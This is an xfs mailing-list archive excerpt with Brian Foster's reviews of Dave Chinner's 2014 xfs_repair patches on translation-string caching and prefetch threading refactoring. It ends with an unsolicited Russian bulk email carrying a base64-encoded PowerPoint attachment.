<1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393223369-4696-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393274564 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Feb 24, 2014 at 05:29:20PM +1100, Dave Chinner wrote: > From: Dave Chinner > > A bit of perf magic showed that scalability was limits to 3-4 > concurrent threads due to contention on a lock inside in something > called __dcigettext(). That some library somewhere that repair is > linked against, and it turns out to be inside the translation > infrastructure to support the _() string mechanism: > > # Samples: 34K of event 'cs' > # Event count (approx.): 495567 > # > # Overhead Command Shared Object Symbol > # ........ ............. ................. .............. > # > 60.30% xfs_repair [kernel.kallsyms] [k] __schedule > | > --- 0x63fffff9c > process_bmbt_reclist_int > | > |--39.95%-- __dcigettext > | __lll_lock_wait > | system_call_fastpath > | SyS_futex > | do_futex > | futex_wait > | futex_wait_queue_me > | schedule > | __schedule > | > |--8.91%-- __lll_lock_wait > | system_call_fastpath > | SyS_futex > | do_futex > | futex_wait > | futex_wait_queue_me > | schedule > | __schedule > --51.13%-- [...] > > Fix this by initialising global variables that hold the translated > strings at startup, hence avoiding the need to do repeated runtime > translation of the same strings. > > Runtime of an unpatched xfs_repair is roughly: > > XFS_REPAIR Summary Fri Dec 6 11:15:50 2013 > > Phase Start End Duration > Phase 1: 12/06 10:56:21 12/06 10:56:21 > Phase 2: 12/06 10:56:21 12/06 10:56:23 2 seconds > Phase 3: 12/06 10:56:23 12/06 11:01:31 5 minutes, 8 seconds > Phase 4: 12/06 11:01:31 12/06 11:07:08 5 minutes, 37 seconds > Phase 5: 12/06 11:07:08 12/06 11:07:09 1 second > Phase 6: 12/06 11:07:09 12/06 11:15:49 8 minutes, 40 seconds > Phase 7: 12/06 11:15:49 12/06 11:15:50 1 second > > Total run time: 19 minutes, 29 seconds > > Patched version: > > Phase Start End Duration > Phase 1: 12/06 10:36:29 12/06 10:36:29 > Phase 2: 12/06 10:36:29 12/06 10:36:31 2 seconds > Phase 3: 12/06 10:36:31 12/06 10:40:08 3 minutes, 37 seconds > Phase 4: 12/06 10:40:08 12/06 10:43:42 3 minutes, 34 seconds > Phase 5: 12/06 10:43:42 12/06 10:43:42 > Phase 6: 12/06 10:43:42 12/06 10:50:28 6 minutes, 46 seconds > Phase 7: 12/06 10:50:28 12/06 10:50:29 1 second > > Total run time: 14 minutes > > Big win! > > Signed-off-by: Dave Chinner > --- > repair/dinode.c | 49 +++++++++++++++++++++++++++++++++++-------------- > repair/dinode.h | 3 +++ > repair/scan.c | 7 +------ > repair/xfs_repair.c | 2 ++ > 4 files changed, 41 insertions(+), 20 deletions(-) > > diff --git a/repair/dinode.c b/repair/dinode.c > index 3115bd0..4953a56 100644 > --- a/repair/dinode.c > +++ b/repair/dinode.c > @@ -32,6 +32,37 @@ > #include "threads.h" > > /* > + * gettext lookups for translations of strings use mutexes internally to > + * the library. Hence when we come through here doing parallel scans in > + * multiple AGs, then all do concurrent text conversions and serialise Typo: they ? Reviewed-by: Brian Foster > + * on the translation string lookups. Let's avoid doing repeated lookups > + * by making them static variables and only assigning the translation > + * once. > + */ > +static char *forkname_data; > +static char *forkname_attr; > +static char *ftype_real_time; > +static char *ftype_regular; > + > +void > +dinode_bmbt_translation_init(void) > +{ > + forkname_data = _("data"); > + forkname_attr = _("attr"); > + ftype_real_time = _("real-time"); > + ftype_regular = _("regular"); > +} > + > +char * > +get_forkname(int whichfork) > +{ > + > + if (whichfork == XFS_DATA_FORK) > + return forkname_data; > + return forkname_attr; > +} > + > +/* > * inode clearing routines > */ > > @@ -542,7 +573,7 @@ process_bmbt_reclist_int( > xfs_dfiloff_t op = 0; /* prev offset */ > xfs_dfsbno_t b; > char *ftype; > - char *forkname; > + char *forkname = get_forkname(whichfork); > int i; > int state; > xfs_agnumber_t agno; > @@ -552,15 +583,10 @@ process_bmbt_reclist_int( > xfs_agnumber_t locked_agno = -1; > int error = 1; > > - if (whichfork == XFS_DATA_FORK) > - forkname = _("data"); > - else > - forkname = _("attr"); > - > if (type == XR_INO_RTDATA) > - ftype = _("real-time"); > + ftype = ftype_real_time; > else > - ftype = _("regular"); > + ftype = ftype_regular; > > for (i = 0; i < *numrecs; i++) { > libxfs_bmbt_disk_get_all(rp + i, &irec); > @@ -1110,7 +1136,7 @@ process_btinode( > xfs_ino_t lino; > xfs_bmbt_ptr_t *pp; > xfs_bmbt_key_t *pkey; > - char *forkname; > + char *forkname = get_forkname(whichfork); > int i; > int level; > int numrecs; > @@ -1122,11 +1148,6 @@ process_btinode( > *tot = 0; > *nex = 0; > > - if (whichfork == XFS_DATA_FORK) > - forkname = _("data"); > - else > - forkname = _("attr"); > - > magic = xfs_sb_version_hascrc(&mp->m_sb) ? XFS_BMAP_CRC_MAGIC > : XFS_BMAP_MAGIC; > > diff --git a/repair/dinode.h b/repair/dinode.h > index d9197c1..7521521 100644 > --- a/repair/dinode.h > +++ b/repair/dinode.h > @@ -127,4 +127,7 @@ get_bmapi(xfs_mount_t *mp, > xfs_dfiloff_t bno, > int whichfork ); > > +void dinode_bmbt_translation_init(void); > +char * get_forkname(int whichfork); > + > #endif /* _XR_DINODE_H */ > diff --git a/repair/scan.c b/repair/scan.c > index 73b4581..b12f48b 100644 > --- a/repair/scan.c > +++ b/repair/scan.c > @@ -171,17 +171,12 @@ scan_bmapbt( > xfs_bmbt_rec_t *rp; > xfs_dfiloff_t first_key; > xfs_dfiloff_t last_key; > - char *forkname; > + char *forkname = get_forkname(whichfork); > int numrecs; > xfs_agnumber_t agno; > xfs_agblock_t agbno; > int state; > > - if (whichfork == XFS_DATA_FORK) > - forkname = _("data"); > - else > - forkname = _("attr"); > - > /* > * unlike the ag freeblock btrees, if anything looks wrong > * in an inode bmap tree, just bail. it's possible that > diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c > index 9e0502a..bac334f 100644 > --- a/repair/xfs_repair.c > +++ b/repair/xfs_repair.c > @@ -29,6 +29,7 @@ > #include "prefetch.h" > #include "threads.h" > #include "progress.h" > +#include "dinode.h" > > #define rounddown(x, y) (((x)/(y))*(y)) > > @@ -533,6 +534,7 @@ main(int argc, char **argv) > setlocale(LC_ALL, ""); > bindtextdomain(PACKAGE, LOCALEDIR); > textdomain(PACKAGE); > + dinode_bmbt_translation_init(); > > temp_mp = &xfs_m; > setbuf(stdout, NULL); > -- > 1.8.4.rc3 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Mon Feb 24 14:43:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F22F97F50 for ; Mon, 24 Feb 2014 14:43:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BB862304053 for ; Mon, 24 Feb 2014 12:43:11 -0800 (PST) X-ASG-Debug-ID: 1393274590-04bdf00fc935ecb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id FWj38EGtPQwkcCpH for ; Mon, 24 Feb 2014 12:43:10 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1OKh7Pt022225 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 24 Feb 2014 15:43:08 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1OKh60l021858; Mon, 24 Feb 2014 15:43:06 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id 7EF5E124491; Mon, 24 Feb 2014 15:43:05 -0500 (EST) Date: Mon, 24 Feb 2014 15:43:05 -0500 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 05/10] repair: factor out threading setup code Message-ID: <20140224204304.GB49654@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 05/10] repair: factor out threading setup code References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-6-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393223369-4696-6-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393274590 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Feb 24, 2014 at 05:29:24PM +1100, Dave Chinner wrote: > From: Dave Chinner > > The same code is repeated in different places to set up > multithreaded prefetching. This can all be factored into a single > implementation. > > Signed-off-by: Dave Chinner > --- > repair/dinode.h | 15 ++++++------ > repair/phase3.c | 40 +++---------------------------- > repair/phase4.c | 48 +++---------------------------------- > repair/phase6.c | 22 ++++------------- > repair/prefetch.c | 71 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ > repair/prefetch.h | 10 ++++++++ > 6 files changed, 98 insertions(+), 108 deletions(-) > ... > diff --git a/repair/phase6.c b/repair/phase6.c > index cdbf4db..08f78d2 100644 > --- a/repair/phase6.c > +++ b/repair/phase6.c > @@ -17,6 +17,8 @@ > */ > > #include > +#include "threads.h" > +#include "prefetch.h" > #include "avl.h" > #include "globals.h" > #include "agheader.h" > @@ -25,9 +27,7 @@ > #include "protos.h" > #include "err_protos.h" > #include "dinode.h" > -#include "prefetch.h" > #include "progress.h" > -#include "threads.h" > #include "versions.h" > > static struct cred zerocr; > @@ -3031,23 +3031,9 @@ update_missing_dotdot_entries( > > static void > traverse_ags( > - xfs_mount_t *mp) > + struct xfs_mount *mp) > { > - int i; > - work_queue_t queue; > - prefetch_args_t *pf_args[2]; > - > - /* > - * we always do prefetch for phase 6 as it will fill in the gaps > - * not read during phase 3 prefetch. > - */ > - queue.mp = mp; > - pf_args[0] = start_inode_prefetch(0, 1, NULL); > - for (i = 0; i < glob_agcount; i++) { > - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 1, > - pf_args[i & 1]); > - traverse_function(&queue, i, pf_args[i & 1]); > - } > + do_inode_prefetch(mp, 0, traverse_function, true, true); The cover letter indicates the parallelization of phase 6 was dropped, but this appears to (conditionally) enable it. Brian > } > > void > diff --git a/repair/prefetch.c b/repair/prefetch.c > index 984beda..e573e35 100644 > --- a/repair/prefetch.c > +++ b/repair/prefetch.c > @@ -865,6 +865,77 @@ start_inode_prefetch( > return args; > } > > +/* > + * Do inode prefetch in the most optimal way for the context under which repair > + * has been run. > + */ > +void > +do_inode_prefetch( > + struct xfs_mount *mp, > + int stride, > + void (*func)(struct work_queue *, > + xfs_agnumber_t, void *), > + bool check_cache, > + bool dirs_only) > +{ > + int i, j; > + xfs_agnumber_t agno; > + struct work_queue queue; > + struct work_queue *queues; > + struct prefetch_args *pf_args[2]; > + > + /* > + * If the previous phases of repair have not overflowed the buffer > + * cache, then we don't need to re-read any of the metadata in the > + * filesystem - it's all in the cache. In that case, run a thread per > + * CPU to maximise parallelism of the queue to be processed. > + */ > + if (check_cache && !libxfs_bcache_overflowed()) { > + queue.mp = mp; > + create_work_queue(&queue, mp, libxfs_nproc()); > + for (i = 0; i < mp->m_sb.sb_agcount; i++) > + queue_work(&queue, func, i, NULL); > + destroy_work_queue(&queue); > + return; > + } > + > + /* > + * single threaded behaviour - single prefetch thread, processed > + * directly after each AG is queued. > + */ > + if (!stride) { > + queue.mp = mp; > + pf_args[0] = start_inode_prefetch(0, dirs_only, NULL); > + for (i = 0; i < mp->m_sb.sb_agcount; i++) { > + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, > + dirs_only, pf_args[i & 1]); > + func(&queue, i, pf_args[i & 1]); > + } > + return; > + } > + > + /* > + * create one worker thread for each segment of the volume > + */ > + queues = malloc(thread_count * sizeof(work_queue_t)); > + for (i = 0, agno = 0; i < thread_count; i++) { > + create_work_queue(&queues[i], mp, 1); > + pf_args[0] = NULL; > + for (j = 0; j < stride && agno < mp->m_sb.sb_agcount; > + j++, agno++) { > + pf_args[0] = start_inode_prefetch(agno, dirs_only, > + pf_args[0]); > + queue_work(&queues[i], func, agno, pf_args[0]); > + } > + } > + /* > + * wait for workers to complete > + */ > + for (i = 0; i < thread_count; i++) > + destroy_work_queue(&queues[i]); > + free(queues); > +} > + > void > wait_for_inode_prefetch( > prefetch_args_t *args) > diff --git a/repair/prefetch.h b/repair/prefetch.h > index 44a406c..b837752 100644 > --- a/repair/prefetch.h > +++ b/repair/prefetch.h > @@ -4,6 +4,7 @@ > #include > #include "incore.h" > > +struct work_queue; > > extern int do_prefetch; > > @@ -41,6 +42,15 @@ start_inode_prefetch( > prefetch_args_t *prev_args); > > void > +do_inode_prefetch( > + struct xfs_mount *mp, > + int stride, > + void (*func)(struct work_queue *, > + xfs_agnumber_t, void *), > + bool check_cache, > + bool dirs_only); > + > +void > wait_for_inode_prefetch( > prefetch_args_t *args); > > -- > 1.8.4.rc3 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From victoria@charter.com Mon Feb 24 14:56:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6F9D77F50 for ; Mon, 24 Feb 2014 14:56:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 43DB9304062 for ; Mon, 24 Feb 2014 12:56:38 -0800 (PST) X-ASG-Debug-ID: 1393275392-04cb6c6de1775810001-NocioJ Received: from mail.pnzgu.ru (mail.pnzgu.ru [82.179.90.20]) by cuda.sgi.com with ESMTP id rN0tqsQaTtetkE7c for ; Mon, 24 Feb 2014 12:56:33 -0800 (PST) X-Barracuda-Envelope-From: victoria@charter.com X-Barracuda-Apparent-Source-IP: 82.179.90.20 Received: from mail.pnzgu.ru (localhost [127.0.0.1]) by mail.pnzgu.ru (Postfix) with ESMTP id 53C8F22D15; Tue, 25 Feb 2014 00:56:32 +0400 (MSK) Received: by mail.pnzgu.ru (Postfix, from userid 58) id 3825C22CF0; Tue, 25 Feb 2014 00:56:32 +0400 (MSK) Received: from host-80-81-9-154.static.customer.m-online.net (host-80-81-9-154.static.customer.m-online.net [80.81.9.154]) by mail.pnzgu.ru (Postfix) with ESMTPA id B982122CD8; Tue, 25 Feb 2014 00:55:03 +0400 (MSK) Message-ID: <14824E46A26B4E739235D0DA22D5F4FE@tsywwx> Reply-To: =?windows-1251?B?wcXSzs3bLTIwMTQ=?= From: =?windows-1251?B?wcXSzs3bLTIwMTQ=?= To: , , , Subject: =?windows-1251?B?zOXy7uTo6ugg7vHz+eXx8uLr5e3o/yDq7u3y?= =?windows-1251?B?8O7r/yDv8O737e7x8ugg4eXy7u3gIOzu7e7r?= =?windows-1251?B?6PLt+/Ug5uXr5efu4eXy7u3t+/Ug6CDh5fLu?= =?windows-1251?B?7e379SDq7u3x8vDz6vbo6Q==?= Date: Mon, 24 Feb 2014 21:55:08 +0100 X-ASG-Orig-Subj: =?windows-1251?B?zOXy7uTo6ugg7vHz+eXx8uLr5e3o/yDq7u3y?= =?windows-1251?B?8O7r/yDv8O737e7x8ugg4eXy7u3gIOzu7e7r?= =?windows-1251?B?6PLt+/Ug5uXr5efu4eXy7u3t+/Ug6CDh5fLu?= =?windows-1251?B?7e379SDq7u3x8vDz6vbo6Q==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_070B_01CF31AB.1538B400" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Virus-Scanned: ClamAV using ClamSMTP X-Barracuda-Connect: mail.pnzgu.ru[82.179.90.20] X-Barracuda-Start-Time: 1393275393 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145471 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_070B_01CF31AB.1538B400 Content-Type: multipart/alternative; boundary="----=_NextPart_001_070C_01CF31AB.1538B400" ------=_NextPart_001_070C_01CF31AB.1538B400 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =D2=E5=F5=ED=EE=EB=EE=E3=E8=FF =E1=E5=F2=EE=ED=E0 =E2 =F1=EE=E2=F0=E5=EC=E5= =ED=ED=FB=F5 =F3=F1=EB=EE=E2=E8=FF=F5 ------=_NextPart_001_070C_01CF31AB.1538B400 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=D2=E5=F5=ED=EE=EB=EE=E3=E8=FF =E1=E5=F2=EE=ED=E0 =E2 =F1=EE=E2=F0=E5= =EC=E5=ED=ED=FB=F5 =F3=F1=EB=EE=E2=E8=FF=F5
------=_NextPart_001_070C_01CF31AB.1538B400-- ------=_NextPart_000_070B_01CF31AB.1538B400 Content-Type: application/octet-stream; name="=?windows-1251?B?w87R0iA3NDczLTIwMTAgq9Hs5fHoIOHl8u7t?= =?windows-1251?B?7fvlLiDS5fXt6Pfl8ero5SDz8evu4uj/uy5w?= =?windows-1251?B?cHR4?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?w87R0iA3NDczLTIwMTAgq9Hs5fHoIOHl8u7t?= =?windows-1251?B?7fvlLiDS5fXt6Pfl8ero5SDz8evu4uj/uy5w?= =?windows-1251?B?cHR4?=" UEsDBBQABgAIAAAAIQDAlDWUhQEAAHwGAAATAAgCW0NvbnRlbnRfVHlwZXNdLnhtbCCiBAIooAAC AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0 lcluwjAQhu+V+g6Rr1Vi6KGqKgKHLqcuSKUP4CaT4NabbEPJ23eygFIEhApyiTSZ+f/57HGc0WQl RbAE67hWMRlGAxKASnTKVR6Tj9lTeEsC55lKmdAKYlKAI5Px5cVoVhhwAaqVi8nce3NHqUvmIJmL tAGFmUxbyTyGNqeGJd8sB3o9GNzQRCsPyoe+9CDj0QNkbCF88LjC1zXJl4GcBPd1YdkrJlyWBlWC 7tRYEG5Lw4wRPGEe83Sp0i2ysKGKUFnVuDk37goL9nQoM/sbNLo33E7LUwimzPpXJrGKGuOpseBQ V9VGh512oOos4wmkOllIlERtMyn+hJFkXK0XsQ/GCXz5wpzH0beD4bnJWt5HMTU0/XB0EZSaqdXG 9TGfyriLYMnhpxeCjXEXgcdvGOrn6UOobDo7sk8B774QcPZVt6yPOn3PrNAL35zBOujnJNbeh5hQ Xs0Lb0sL/2dYX22lOjRoBNbzw7uw6YjWJy8aylszhXRHb1r9O8a/AAAA//8DAFBLAwQUAAYACAAA ACEAaPh0oQMBAADiAgAACwAIAl9yZWxzLy5yZWxzIKIEAiigAAIAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKyS20oDMRCG7wXfIcx9N9sqItJs b0Toncj6AGMyuxvdHEim0r69oeBhYS2CvczMPx/fJFlv9m4U75SyDV7BsqpBkNfBWN8reG4fFrcg MqM3OAZPCg6UYdNcXqyfaEQuQ3mwMYtC8VnBwBzvpMx6IIe5CpF86XQhOeRyTL2MqN+wJ7mq6xuZ fjKgmTDF1ihIW3MFoj1E+h9bOmI0yCh1SLSIqUwntmUX0WLqiRWYoB9LOR8TVSGDnBdanVeIh517 8WjHGZWvXvUaqf9NaPl3odB1VtN90DtHnue8polvpxhZxkS5FI/pUzd0fU4h2jN5Q+b0o2GMn0Zy 8jObDwAAAP//AwBQSwMEFAAGAAgAAAAhAJMcw5nXAAAAvwEAACAAAABwcHQvc2xpZGVzL19yZWxz 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 